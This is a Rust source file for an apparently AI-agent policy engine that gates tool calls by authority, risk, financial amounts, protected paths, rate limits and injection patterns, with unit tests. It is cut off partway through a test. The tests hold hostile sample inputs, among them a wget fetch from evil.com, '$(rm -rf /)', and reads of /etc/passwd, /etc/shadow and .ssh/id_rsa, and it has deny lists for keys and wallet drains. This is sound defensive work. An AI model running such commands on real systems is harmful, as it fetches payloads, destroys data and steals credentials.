roboticus-agent 0.11.4

use std::sync::Mutex;
use std::time::{Duration, Instant};

use serde_json::Value;

use roboticus_core::{InputAuthority, PolicyDecision, RiskLevel, SurvivalTier};

fn collect_string_values(value: &Value, out: &mut Vec<String>) {
    match value {
        Value::String(s) => out.push(s.clone()),
        Value::Array(arr) => {
            for v in arr {
                collect_string_values(v, out);
            }
        }
        Value::Object(map) => {
            for v in map.values() {
                collect_string_values(v, out);
            }
        }
        _ => {}
    }
}

pub trait PolicyRule: Send + Sync {
    fn name(&self) -> &str;
    fn priority(&self) -> u32;
    fn evaluate(&self, call: &ToolCallRequest, ctx: &PolicyContext) -> PolicyDecision;
}

#[derive(Debug, Clone)]
pub struct PolicyContext {
    pub authority: InputAuthority,
    pub survival_tier: SurvivalTier,
    /// Optional security claim from the RBAC resolution system.
    /// When present, provides full provenance (grant sources, ceiling,
    /// threat-downgrade status) for audit logging and advanced policy rules.
    pub claim: Option<roboticus_core::SecurityClaim>,
}

#[derive(Debug, Clone)]
pub struct ToolCallRequest {
    pub tool_name: String,
    pub params: Value,
    pub risk_level: RiskLevel,
}

pub struct PolicyEngine {
    rules: Vec<Box<dyn PolicyRule>>,
}

impl PolicyEngine {
    pub fn new() -> Self {
        Self { rules: Vec::new() }
    }

    pub fn add_rule(&mut self, rule: Box<dyn PolicyRule>) {
        self.rules.push(rule);
        self.rules.sort_by_key(|r| r.priority());
    }

    pub fn evaluate_all(&self, call: &ToolCallRequest, ctx: &PolicyContext) -> PolicyDecision {
        for rule in &self.rules {
            let decision = rule.evaluate(call, ctx);
            if !decision.is_allowed() {
                return decision;
            }
        }
        PolicyDecision::Allow
    }
}

impl Default for PolicyEngine {
    fn default() -> Self {
        Self::new()
    }
}

/// Priority 1: restricts tool access based on input authority level.
pub struct AuthorityRule;

impl PolicyRule for AuthorityRule {
    fn name(&self) -> &str {
        "authority"
    }

    fn priority(&self) -> u32 {
        1
    }

    fn evaluate(&self, call: &ToolCallRequest, ctx: &PolicyContext) -> PolicyDecision {
        let allowed = match ctx.authority {
            InputAuthority::Creator => true,
            InputAuthority::SelfGenerated => call.risk_level <= RiskLevel::Dangerous,
            InputAuthority::Peer => call.risk_level <= RiskLevel::Caution,
            InputAuthority::External => call.risk_level <= RiskLevel::Safe,
        };

        if allowed {
            PolicyDecision::Allow
        } else {
            PolicyDecision::Deny {
                rule: self.name().into(),
                reason: format!(
                    "{:?} authority cannot use {:?}-level tool '{}'",
                    ctx.authority, call.risk_level, call.tool_name
                ),
            }
        }
    }
}

/// Priority 2: blocks Forbidden-risk tools unconditionally.
pub struct CommandSafetyRule;

impl PolicyRule for CommandSafetyRule {
    fn name(&self) -> &str {
        "command_safety"
    }

    fn priority(&self) -> u32 {
        2
    }

    fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
        if call.risk_level == RiskLevel::Forbidden {
            PolicyDecision::Deny {
                rule: self.name().into(),
                reason: format!("tool '{}' is forbidden", call.tool_name),
            }
        } else {
            PolicyDecision::Allow
        }
    }
}

/// Priority 3: blocks high-value or sensitive financial operations.
pub struct FinancialRule {
    /// Maximum single transfer in dollars; transfers above are denied.
    pub threshold_dollars: f64,
}

impl Default for FinancialRule {
    fn default() -> Self {
        Self {
            threshold_dollars: 100.0,
        }
    }
}

impl FinancialRule {
    pub fn new(threshold_dollars: f64) -> Self {
        Self { threshold_dollars }
    }

    fn is_financial_tool(name: &str) -> bool {
        let name_lower = name.to_lowercase();
        [
            "transfer", "send", "withdraw", "deposit", "payment", "wallet",
        ]
        .iter()
        .any(|k| name_lower.contains(k))
    }

    fn extract_amount_cents(params: &Value) -> Option<i64> {
        let obj = params.as_object()?;
        // Explicit cent-denominated keys.
        for key in ["amount_cents", "cents", "value_cents"] {
            if let Some(v) = obj.get(key)
                && let Some(n) = v.as_i64()
            {
                return Some(n);
            }
        }
        // "amount" is dollar-denominated; accept either integer or float JSON.
        if let Some(v) = obj.get("amount")
            && let Some(n) = v.as_f64()
        {
            return Some((n * 100.0).round() as i64);
        }
        // Dollar-denominated keys
        if let Some(v) = obj
            .get("amount_dollars")
            .or(obj.get("dollars"))
            .or(obj.get("value"))
            && let Some(n) = v.as_f64()
        {
            return Some((n * 100.0).round() as i64);
        }
        None
    }

    fn is_wallet_config_or_drain(params: &Value) -> bool {
        let obj = match params.as_object() {
            Some(o) => o,
            None => return false,
        };
        let drain_keys = [
            "drain",
            "withdraw_all",
            "export_private_key",
            "set_wallet_path",
        ];
        for key in drain_keys {
            if obj.contains_key(key) {
                return true;
            }
        }
        false
    }
}

impl PolicyRule for FinancialRule {
    fn name(&self) -> &str {
        "financial"
    }

    fn priority(&self) -> u32 {
        3
    }

    fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
        if !Self::is_financial_tool(&call.tool_name) {
            return PolicyDecision::Allow;
        }
        if Self::is_wallet_config_or_drain(&call.params) {
            return PolicyDecision::Deny {
                rule: self.name().into(),
                reason: "tool attempts to change wallet config or drain funds".into(),
            };
        }
        let threshold_cents = (self.threshold_dollars * 100.0).round() as i64;
        if let Some(cents) = Self::extract_amount_cents(&call.params)
            && cents > threshold_cents
        {
            return PolicyDecision::Deny {
                rule: self.name().into(),
                reason: format!(
                    "amount {} cents exceeds threshold ${:.2}",
                    cents, self.threshold_dollars
                ),
            };
        }
        PolicyDecision::Allow
    }
}

/// Priority 4: blocks access to protected path patterns and enforces
/// workspace-only confinement for agent file tools.
pub struct PathProtectionRule {
    /// Path patterns that are not allowed in tool arguments.
    pub protected: Vec<String>,
    /// When true, absolute paths outside `/tmp` and `tool_allowed_paths` are
    /// denied (workspace-only mode).
    pub workspace_only: bool,
    /// Absolute paths that tools may access even in workspace_only mode.
    /// Auto-populated from feature configs (e.g. `obsidian.vault_path`).
    pub tool_allowed_paths: Vec<std::path::PathBuf>,
}

impl Default for PathProtectionRule {
    fn default() -> Self {
        Self {
            protected: vec![
                "/etc/".into(),
                ".env".into(),
                "wallet.json".into(),
                "private_key".into(),
                ".ssh/".into(),
                "roboticus.toml".into(),
            ],
            workspace_only: true,
            tool_allowed_paths: Vec::new(),
        }
    }
}

impl PathProtectionRule {
    pub fn new(protected: Vec<String>) -> Self {
        Self {
            protected,
            workspace_only: true,
            tool_allowed_paths: Vec::new(),
        }
    }

    /// Build from the `[security.filesystem]` config section.
    /// Merges `protected_paths` + `extra_protected_paths`, reads
    /// `workspace_only` flag, and imports `tool_allowed_paths` so that
    /// configured external directories (e.g. Obsidian vault) are reachable
    /// even in workspace-only mode.
    pub fn from_config(fs_cfg: &roboticus_core::config::FilesystemSecurityConfig) -> Self {
        let mut protected = fs_cfg.protected_paths.clone();
        protected.extend(fs_cfg.extra_protected_paths.iter().cloned());
        Self {
            protected,
            workspace_only: fs_cfg.workspace_only,
            tool_allowed_paths: fs_cfg.tool_allowed_paths.clone(),
        }
    }

    fn matches_protected(&self, s: &str) -> Option<&str> {
        let s_lower = s.to_lowercase();
        for pattern in &self.protected {
            let p_lower = pattern.to_lowercase();
            if s_lower.contains(&p_lower) || s_lower.ends_with(p_lower.trim_end_matches('/')) {
                return Some(pattern);
            }
        }
        None
    }
}

impl PolicyRule for PathProtectionRule {
    fn name(&self) -> &str {
        "path_protection"
    }

    fn priority(&self) -> u32 {
        4
    }

    fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
        let mut strings = Vec::new();
        collect_string_values(&call.params, &mut strings);

        // Workspace-only gate: deny absolute paths outside /tmp unless they
        // fall under a configured `tool_allowed_paths` entry.  Relative paths
        // are fine — they resolve against the workspace root in the tool layer
        // (resolve_workspace_path).
        if self.workspace_only {
            for s in &strings {
                let p = std::path::Path::new(s);
                if p.is_absolute() && !s.starts_with("/tmp") {
                    let whitelisted = self
                        .tool_allowed_paths
                        .iter()
                        .any(|allowed| p.starts_with(allowed));
                    if !whitelisted {
                        return PolicyDecision::Deny {
                            rule: self.name().into(),
                            reason: format!(
                                "workspace_only mode: absolute path '{}' outside /tmp and configured allowed paths",
                                s
                            ),
                        };
                    }
                }
            }
        }

        // Blacklist scan: check all string values against protected patterns.
        for s in &strings {
            if let Some(pattern) = self.matches_protected(s) {
                return PolicyDecision::Deny {
                    rule: self.name().into(),
                    reason: format!("protected path pattern '{}' not allowed", pattern),
                };
            }
        }
        PolicyDecision::Allow
    }
}

/// Priority 5: rate-limits tool calls per tool name.
pub struct RateLimitRule {
    max_calls_per_minute: u32,
    /// tool_name -> timestamps of recent calls
    calls: Mutex<std::collections::HashMap<String, Vec<Instant>>>,
}

impl Default for RateLimitRule {
    fn default() -> Self {
        Self {
            max_calls_per_minute: 30,
            calls: Mutex::new(std::collections::HashMap::new()),
        }
    }
}

impl RateLimitRule {
    pub fn new(max_calls_per_minute: u32) -> Self {
        Self {
            max_calls_per_minute,
            calls: Mutex::new(std::collections::HashMap::new()),
        }
    }

    fn prune_older_than(cuts: &mut Vec<Instant>, cutoff: Instant) {
        cuts.retain(|&t| t > cutoff);
    }
}

impl PolicyRule for RateLimitRule {
    fn name(&self) -> &str {
        "rate_limit"
    }

    fn priority(&self) -> u32 {
        5
    }

    fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
        let now = Instant::now();
        let window_start = now - Duration::from_secs(60);
        let mut guard = self.calls.lock().unwrap_or_else(|e| e.into_inner());
        let cuts = guard.entry(call.tool_name.clone()).or_default();
        Self::prune_older_than(cuts, window_start);
        if cuts.len() >= self.max_calls_per_minute as usize {
            return PolicyDecision::Deny {
                rule: self.name().into(),
                reason: format!(
                    "tool '{}' rate limit exceeded (max {} per minute)",
                    call.tool_name, self.max_calls_per_minute
                ),
            };
        }
        cuts.push(now);
        PolicyDecision::Allow
    }
}

/// Priority 6: validates argument size and blocks malicious patterns.
pub struct ValidationRule;

const MAX_ARG_SIZE_BYTES: usize = 100 * 1024; // 100KB

impl ValidationRule {
    fn serialized_size(value: &Value) -> usize {
        value.to_string().len()
    }

    fn looks_malicious(s: &str) -> bool {
        let s_lower = s.to_lowercase();
        // Shell injection
        if s.contains('$') && (s.contains('(') || s.contains('`') || s.contains("${")) {
            return true;
        }
        if s.contains("; ")
            && (s_lower.contains("rm ") || s_lower.contains("curl ") || s_lower.contains("wget "))
        {
            return true;
        }
        // Path traversal
        if s.contains("..") && (s.contains('/') || s.contains('\\')) {
            return true;
        }
        false
    }
}

impl PolicyRule for ValidationRule {
    fn name(&self) -> &str {
        "validation"
    }

    fn priority(&self) -> u32 {
        6
    }

    fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
        if Self::serialized_size(&call.params) > MAX_ARG_SIZE_BYTES {
            return PolicyDecision::Deny {
                rule: self.name().into(),
                reason: format!(
                    "arguments exceed maximum size ({} bytes)",
                    MAX_ARG_SIZE_BYTES
                ),
            };
        }
        let mut strings = Vec::new();
        collect_string_values(&call.params, &mut strings);
        for s in &strings {
            if Self::looks_malicious(s) {
                return PolicyDecision::Deny {
                    rule: self.name().into(),
                    reason: "arguments contain potentially malicious pattern (shell injection or path traversal)".into(),
                };
            }
        }
        PolicyDecision::Allow
    }
}

/// Priority 7: prevents the agent from modifying security-sensitive config
/// fields (scope_mode, api_keys, tokens, secrets) via file-write or shell tools.
pub struct ConfigProtectionRule {
    forbidden_patterns: Vec<String>,
    config_filenames: Vec<String>,
}

impl Default for ConfigProtectionRule {
    fn default() -> Self {
        Self {
            forbidden_patterns: vec![
                "scope_mode".into(),
                "api_key".into(),
                "admin_token".into(),
                "keystore".into(),
                "trusted_proxy".into(),
                "_secret".into(),
                "_token".into(),
                "private_key".into(),
            ],
            config_filenames: vec!["roboticus.toml".into(), "config-overrides.toml".into()],
        }
    }
}

impl ConfigProtectionRule {
    fn targets_config_file(&self, strings: &[String]) -> bool {
        strings.iter().any(|s| {
            let s_lower = s.to_lowercase();
            self.config_filenames
                .iter()
                .any(|cfg| s_lower.contains(&cfg.to_lowercase()))
        })
    }

    fn contains_forbidden_field(&self, strings: &[String]) -> Option<&str> {
        for s in strings {
            let s_lower = s.to_lowercase();
            for pattern in &self.forbidden_patterns {
                if s_lower.contains(&pattern.to_lowercase()) {
                    return Some(pattern);
                }
            }
        }
        None
    }
}

impl PolicyRule for ConfigProtectionRule {
    fn name(&self) -> &str {
        "config_protection"
    }

    fn priority(&self) -> u32 {
        7
    }

    fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
        let tool_lower = call.tool_name.to_lowercase();
        let is_write_tool = tool_lower.contains("write_file")
            || tool_lower.contains("bash")
            || tool_lower.contains("run_script");

        if !is_write_tool {
            return PolicyDecision::Allow;
        }

        let mut strings = Vec::new();
        collect_string_values(&call.params, &mut strings);

        if !self.targets_config_file(&strings) {
            return PolicyDecision::Allow;
        }

        if let Some(field) = self.contains_forbidden_field(&strings) {
            return PolicyDecision::Deny {
                rule: self.name().into(),
                reason: format!(
                    "cannot modify security-sensitive config field '{}' via tools; \
                     edit the config file directly or use the CLI",
                    field
                ),
            };
        }
        PolicyDecision::Allow
    }
}

#[cfg(test)]
mod tests {
    use super::*;

    fn make_request(tool: &str, risk: RiskLevel) -> ToolCallRequest {
        ToolCallRequest {
            tool_name: tool.into(),
            params: serde_json::json!({}),
            risk_level: risk,
        }
    }

    #[test]
    fn authority_based_blocking() {
        let mut engine = PolicyEngine::new();
        engine.add_rule(Box::new(AuthorityRule));

        let ctx_external = PolicyContext {
            authority: InputAuthority::External,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };

        assert!(
            engine
                .evaluate_all(&make_request("echo", RiskLevel::Safe), &ctx_external)
                .is_allowed()
        );

        assert!(
            !engine
                .evaluate_all(&make_request("rm_file", RiskLevel::Caution), &ctx_external)
                .is_allowed()
        );

        let ctx_creator = PolicyContext {
            authority: InputAuthority::Creator,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };
        assert!(
            engine
                .evaluate_all(&make_request("nuke", RiskLevel::Dangerous), &ctx_creator)
                .is_allowed()
        );

        let ctx_self = PolicyContext {
            authority: InputAuthority::SelfGenerated,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };
        assert!(
            engine
                .evaluate_all(&make_request("cmd", RiskLevel::Dangerous), &ctx_self)
                .is_allowed()
        );
        assert!(
            !engine
                .evaluate_all(&make_request("cmd", RiskLevel::Forbidden), &ctx_self)
                .is_allowed()
        );
    }

    #[test]
    fn command_safety_blocks_forbidden() {
        let mut engine = PolicyEngine::new();
        engine.add_rule(Box::new(CommandSafetyRule));

        let ctx = PolicyContext {
            authority: InputAuthority::Creator,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };

        assert!(
            !engine
                .evaluate_all(&make_request("evil", RiskLevel::Forbidden), &ctx)
                .is_allowed()
        );
        assert!(
            engine
                .evaluate_all(&make_request("good", RiskLevel::Dangerous), &ctx)
                .is_allowed()
        );
    }

    #[test]
    fn allow_pass_through() {
        let mut engine = PolicyEngine::new();
        engine.add_rule(Box::new(AuthorityRule));
        engine.add_rule(Box::new(CommandSafetyRule));

        let ctx = PolicyContext {
            authority: InputAuthority::Creator,
            survival_tier: SurvivalTier::High,
            claim: None,
        };

        let decision = engine.evaluate_all(&make_request("read_file", RiskLevel::Safe), &ctx);
        assert!(decision.is_allowed());
    }

    #[test]
    fn financial_rule_blocks_high_value_allows_low() {
        let rule = FinancialRule::new(100.0);
        let ctx = PolicyContext {
            authority: InputAuthority::Creator,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };

        let low = ToolCallRequest {
            tool_name: "transfer".into(),
            params: serde_json::json!({ "amount_cents": 5000 }),
            risk_level: RiskLevel::Safe,
        };
        assert!(rule.evaluate(&low, &ctx).is_allowed());

        let high = ToolCallRequest {
            tool_name: "send".into(),
            params: serde_json::json!({ "amount_dollars": 150.0 }),
            risk_level: RiskLevel::Safe,
        };
        assert!(!rule.evaluate(&high, &ctx).is_allowed());

        let non_financial = ToolCallRequest {
            tool_name: "read_file".into(),
            params: serde_json::json!({ "path": "/tmp/foo" }),
            risk_level: RiskLevel::Safe,
        };
        assert!(rule.evaluate(&non_financial, &ctx).is_allowed());
    }

    #[test]
    fn financial_rule_blocks_wallet_drain() {
        let rule = FinancialRule::default();
        let ctx = PolicyContext {
            authority: InputAuthority::Creator,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };

        let drain = ToolCallRequest {
            tool_name: "wallet_export".into(),
            params: serde_json::json!({ "export_private_key": true }),
            risk_level: RiskLevel::Safe,
        };
        assert!(!rule.evaluate(&drain, &ctx).is_allowed());
    }

    #[test]
    fn path_protection_blocks_env_allows_normal() {
        let rule = PathProtectionRule::default();
        let ctx = PolicyContext {
            authority: InputAuthority::Creator,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };

        let blocked = ToolCallRequest {
            tool_name: "read_file".into(),
            params: serde_json::json!({ "path": "/app/.env" }),
            risk_level: RiskLevel::Safe,
        };
        let decision = rule.evaluate(&blocked, &ctx);
        assert!(!decision.is_allowed());
        if let PolicyDecision::Deny { reason, .. } = &decision {
            assert!(reason.contains(".env") || reason.contains("protected"));
        }

        let allowed = ToolCallRequest {
            tool_name: "read_file".into(),
            params: serde_json::json!({ "path": "/tmp/foo.txt" }),
            risk_level: RiskLevel::Safe,
        };
        assert!(rule.evaluate(&allowed, &ctx).is_allowed());
    }

    #[test]
    fn rate_limit_blocks_over_limit_allows_under() {
        let rule = RateLimitRule::new(2);
        let ctx = PolicyContext {
            authority: InputAuthority::Creator,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };

        let req = |tool: &str| ToolCallRequest {
            tool_name: tool.into(),
            params: serde_json::json!({}),
            risk_level: RiskLevel::Safe,
        };

        assert!(rule.evaluate(&req("foo"), &ctx).is_allowed());
        assert!(rule.evaluate(&req("foo"), &ctx).is_allowed());
        assert!(!rule.evaluate(&req("foo"), &ctx).is_allowed());

        assert!(rule.evaluate(&req("bar"), &ctx).is_allowed());
    }

    #[test]
    fn validation_rejects_oversized_and_malicious() {
        let rule = ValidationRule;
        let ctx = PolicyContext {
            authority: InputAuthority::Creator,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };

        let huge = ToolCallRequest {
            tool_name: "echo".into(),
            params: serde_json::json!({ "data": "x".repeat(101 * 1024) }),
            risk_level: RiskLevel::Safe,
        };
        assert!(!rule.evaluate(&huge, &ctx).is_allowed());

        let shell_injection = ToolCallRequest {
            tool_name: "run".into(),
            params: serde_json::json!({ "cmd": "$(rm -rf /)" }),
            risk_level: RiskLevel::Safe,
        };
        assert!(!rule.evaluate(&shell_injection, &ctx).is_allowed());

        let path_traversal = ToolCallRequest {
            tool_name: "read".into(),
            params: serde_json::json!({ "path": "../../../etc/passwd" }),
            risk_level: RiskLevel::Safe,
        };
        assert!(!rule.evaluate(&path_traversal, &ctx).is_allowed());

        let ok = ToolCallRequest {
            tool_name: "echo".into(),
            params: serde_json::json!({ "msg": "hello" }),
            risk_level: RiskLevel::Safe,
        };
        assert!(rule.evaluate(&ok, &ctx).is_allowed());
    }

    // ── collect_string_values for nested structures ──────────────────

    #[test]
    fn collect_string_values_nested_arrays() {
        let val = serde_json::json!([["a", "b"], ["c"]]);
        let mut out = Vec::new();
        collect_string_values(&val, &mut out);
        assert_eq!(out, vec!["a", "b", "c"]);
    }

    #[test]
    fn collect_string_values_nested_objects() {
        let val = serde_json::json!({"a": {"b": "deep", "c": 42}, "d": "top"});
        let mut out = Vec::new();
        collect_string_values(&val, &mut out);
        assert!(out.contains(&"deep".to_string()));
        assert!(out.contains(&"top".to_string()));
        assert_eq!(out.len(), 2); // numbers are skipped
    }

    #[test]
    fn collect_string_values_mixed() {
        let val = serde_json::json!({
            "items": [{"name": "file.txt"}, {"name": "dir/sub.py"}],
            "count": 2,
            "flag": true,
            "label": "test"
        });
        let mut out = Vec::new();
        collect_string_values(&val, &mut out);
        assert!(out.contains(&"file.txt".to_string()));
        assert!(out.contains(&"dir/sub.py".to_string()));
        assert!(out.contains(&"test".to_string()));
        assert_eq!(out.len(), 3);
    }

    #[test]
    fn collect_string_values_primitives_skipped() {
        let val = serde_json::json!(42);
        let mut out = Vec::new();
        collect_string_values(&val, &mut out);
        assert!(out.is_empty());

        let val = serde_json::json!(true);
        collect_string_values(&val, &mut out);
        assert!(out.is_empty());

        let val = serde_json::json!(null);
        collect_string_values(&val, &mut out);
        assert!(out.is_empty());
    }

    // ── Peer authority level ─────────────────────────────────────────

    #[test]
    fn authority_peer_allows_safe_blocks_caution() {
        let rule = AuthorityRule;
        let ctx = PolicyContext {
            authority: InputAuthority::Peer,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };

        assert!(
            rule.evaluate(&make_request("echo", RiskLevel::Safe), &ctx)
                .is_allowed()
        );
        assert!(
            rule.evaluate(&make_request("read_file", RiskLevel::Caution), &ctx)
                .is_allowed()
        );
        assert!(
            !rule
                .evaluate(&make_request("write_file", RiskLevel::Dangerous), &ctx)
                .is_allowed()
        );
    }

    // ── FinancialRule extract_amount_cents variants ───────────────────

    #[test]
    fn financial_extract_amount_cents_various_keys() {
        // "amount" key (dollars -> cents)
        assert_eq!(
            FinancialRule::extract_amount_cents(&serde_json::json!({"amount": 5000})),
            Some(500000)
        );
        // "amount_cents" key
        assert_eq!(
            FinancialRule::extract_amount_cents(&serde_json::json!({"amount_cents": 3000})),
            Some(3000)
        );
        // "cents" key
        assert_eq!(
            FinancialRule::extract_amount_cents(&serde_json::json!({"cents": 1500})),
            Some(1500)
        );
        // "value_cents" key
        assert_eq!(
            FinancialRule::extract_amount_cents(&serde_json::json!({"value_cents": 2000})),
            Some(2000)
        );
        // "dollars" key (converted to cents)
        assert_eq!(
            FinancialRule::extract_amount_cents(&serde_json::json!({"dollars": 25.0})),
            Some(2500)
        );
        // "value" key (converted to cents)
        assert_eq!(
            FinancialRule::extract_amount_cents(&serde_json::json!({"value": 10.50})),
            Some(1050)
        );
        // No matching key
        assert_eq!(
            FinancialRule::extract_amount_cents(&serde_json::json!({"other": 42})),
            None
        );
        // Non-object
        assert_eq!(
            FinancialRule::extract_amount_cents(&serde_json::json!("not an object")),
            None
        );
    }

    #[test]
    fn financial_is_financial_tool_names() {
        assert!(FinancialRule::is_financial_tool("transfer_usdc"));
        assert!(FinancialRule::is_financial_tool("send_payment"));
        assert!(FinancialRule::is_financial_tool("withdraw_funds"));
        assert!(FinancialRule::is_financial_tool("deposit_eth"));
        assert!(FinancialRule::is_financial_tool("process_payment"));
        assert!(FinancialRule::is_financial_tool("wallet_balance"));
        assert!(!FinancialRule::is_financial_tool("read_file"));
        assert!(!FinancialRule::is_financial_tool("echo"));
    }

    #[test]
    fn financial_wallet_config_drain_patterns() {
        assert!(FinancialRule::is_wallet_config_or_drain(
            &serde_json::json!({"drain": true})
        ));
        assert!(FinancialRule::is_wallet_config_or_drain(
            &serde_json::json!({"withdraw_all": true})
        ));
        assert!(FinancialRule::is_wallet_config_or_drain(
            &serde_json::json!({"export_private_key": true})
        ));
        assert!(FinancialRule::is_wallet_config_or_drain(
            &serde_json::json!({"set_wallet_path": "/tmp/evil"})
        ));
        assert!(!FinancialRule::is_wallet_config_or_drain(
            &serde_json::json!({"amount": 100})
        ));
        assert!(!FinancialRule::is_wallet_config_or_drain(
            &serde_json::json!("not an object")
        ));
    }

    // ── ValidationRule looks_malicious patterns ──────────────────────

    #[test]
    fn validation_looks_malicious_wget() {
        let rule = ValidationRule;
        let ctx = PolicyContext {
            authority: InputAuthority::Creator,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };

        let wget_inject = ToolCallRequest {
            tool_name: "run".into(),
            params: serde_json::json!({ "cmd": "; wget http://evil.com/payload" }),
            risk_level: RiskLevel::Safe,
        };
        assert!(!rule.evaluate(&wget_inject, &ctx).is_allowed());
    }

    #[test]
    fn validation_looks_malicious_backtick() {
        let rule = ValidationRule;
        let ctx = PolicyContext {
            authority: InputAuthority::Creator,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };

        let backtick = ToolCallRequest {
            tool_name: "run".into(),
            params: serde_json::json!({ "cmd": "echo $(`whoami`)" }),
            risk_level: RiskLevel::Safe,
        };
        assert!(!rule.evaluate(&backtick, &ctx).is_allowed());
    }

    #[test]
    fn validation_looks_malicious_dollar_brace() {
        let rule = ValidationRule;
        let ctx = PolicyContext {
            authority: InputAuthority::Creator,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };

        let dollar_brace = ToolCallRequest {
            tool_name: "run".into(),
            params: serde_json::json!({ "cmd": "echo ${SECRET}" }),
            risk_level: RiskLevel::Safe,
        };
        assert!(!rule.evaluate(&dollar_brace, &ctx).is_allowed());
    }

    // ── Path protection with nested params ───────────────────────────

    #[test]
    fn path_protection_detects_nested_protected_paths() {
        let rule = PathProtectionRule::default();
        let ctx = PolicyContext {
            authority: InputAuthority::Creator,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };

        let nested = ToolCallRequest {
            tool_name: "process".into(),
            params: serde_json::json!({
                "files": [{"path": "/etc/shadow"}]
            }),
            risk_level: RiskLevel::Safe,
        };
        assert!(!rule.evaluate(&nested, &ctx).is_allowed());
    }

    #[test]
    fn path_protection_wallet_json() {
        let rule = PathProtectionRule::default();
        let ctx = PolicyContext {
            authority: InputAuthority::Creator,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };

        let wallet = ToolCallRequest {
            tool_name: "read_file".into(),
            params: serde_json::json!({ "path": "data/wallet.json" }),
            risk_level: RiskLevel::Safe,
        };
        assert!(!rule.evaluate(&wallet, &ctx).is_allowed());
    }

    #[test]
    fn path_protection_ssh_dir() {
        let rule = PathProtectionRule::default();
        let ctx = PolicyContext {
            authority: InputAuthority::Creator,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };

        let ssh = ToolCallRequest {
            tool_name: "read_file".into(),
            params: serde_json::json!({ "path": ".ssh/id_rsa" }),
            risk_level: RiskLevel::Safe,
        };
        assert!(!rule.evaluate(&ssh, &ctx).is_allowed());
    }

    // ── PolicyEngine ordering ────────────────────────────────────────

    #[test]
    fn engine_evaluates_rules_in_priority_order() {
        let mut engine = PolicyEngine::new();
        engine.add_rule(Box::new(ValidationRule)); // priority 6
        engine.add_rule(Box::new(AuthorityRule)); // priority 1
        engine.add_rule(Box::new(CommandSafetyRule)); // priority 2

        // Authority check (priority 1) should run first
        let ctx = PolicyContext {
            authority: InputAuthority::External,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };
        let decision = engine.evaluate_all(&make_request("nuke", RiskLevel::Dangerous), &ctx);
        assert!(!decision.is_allowed());
        if let PolicyDecision::Deny { rule, .. } = &decision {
            assert_eq!(rule, "authority", "authority rule should fire first");
        }
    }

    #[test]
    fn engine_default_is_empty() {
        let engine = PolicyEngine::default();
        let ctx = PolicyContext {
            authority: InputAuthority::External,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };
        // No rules -> allow
        assert!(
            engine
                .evaluate_all(&make_request("anything", RiskLevel::Forbidden), &ctx)
                .is_allowed()
        );
    }

    // ── PathProtectionRule workspace_only + from_config ────────────

    #[test]
    fn path_protection_workspace_only_blocks_absolute() {
        let rule = PathProtectionRule {
            protected: vec![],
            workspace_only: true,
            tool_allowed_paths: vec![],
        };
        let ctx = PolicyContext {
            authority: InputAuthority::Creator,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };

        let abs_path = if cfg!(windows) {
            r"C:\Users\user\secret.txt"
        } else {
            "/home/user/secret.txt"
        };
        let abs = ToolCallRequest {
            tool_name: "read_file".into(),
            params: serde_json::json!({ "path": abs_path }),
            risk_level: RiskLevel::Safe,
        };
        assert!(
            !rule.evaluate(&abs, &ctx).is_allowed(),
            "workspace_only should block absolute paths outside /tmp"
        );

        let tmp = ToolCallRequest {
            tool_name: "write_file".into(),
            params: serde_json::json!({ "path": "/tmp/scratch.txt" }),
            risk_level: RiskLevel::Safe,
        };
        assert!(
            rule.evaluate(&tmp, &ctx).is_allowed(),
            "workspace_only should allow /tmp paths"
        );

        let relative = ToolCallRequest {
            tool_name: "read_file".into(),
            params: serde_json::json!({ "path": "src/main.rs" }),
            risk_level: RiskLevel::Safe,
        };
        assert!(
            rule.evaluate(&relative, &ctx).is_allowed(),
            "workspace_only should allow relative paths"
        );
    }

    #[test]
    fn path_protection_workspace_only_disabled() {
        let rule = PathProtectionRule {
            protected: vec![],
            workspace_only: false,
            tool_allowed_paths: vec![],
        };
        let ctx = PolicyContext {
            authority: InputAuthority::Creator,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };

        let abs = ToolCallRequest {
            tool_name: "read_file".into(),
            params: serde_json::json!({ "path": "/home/user/document.txt" }),
            risk_level: RiskLevel::Safe,
        };
        assert!(
            rule.evaluate(&abs, &ctx).is_allowed(),
            "workspace_only=false should allow absolute paths"
        );
    }

    #[test]
    fn path_protection_from_config_merges_lists() {
        let cfg = roboticus_core::config::FilesystemSecurityConfig {
            workspace_only: false,
            protected_paths: vec![".env".into(), "secret.key".into()],
            extra_protected_paths: vec!["custom.pem".into()],
            script_fs_confinement: true,
            script_allowed_paths: vec![],
            tool_allowed_paths: vec![],
            sandbox_required: false,
        };
        let rule = PathProtectionRule::from_config(&cfg);
        assert!(!rule.workspace_only);
        assert_eq!(rule.protected.len(), 3);
        assert!(rule.protected.contains(&"custom.pem".to_string()));

        let ctx = PolicyContext {
            authority: InputAuthority::Creator,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };

        let custom = ToolCallRequest {
            tool_name: "read_file".into(),
            params: serde_json::json!({ "path": "deploy/custom.pem" }),
            risk_level: RiskLevel::Safe,
        };
        assert!(
            !rule.evaluate(&custom, &ctx).is_allowed(),
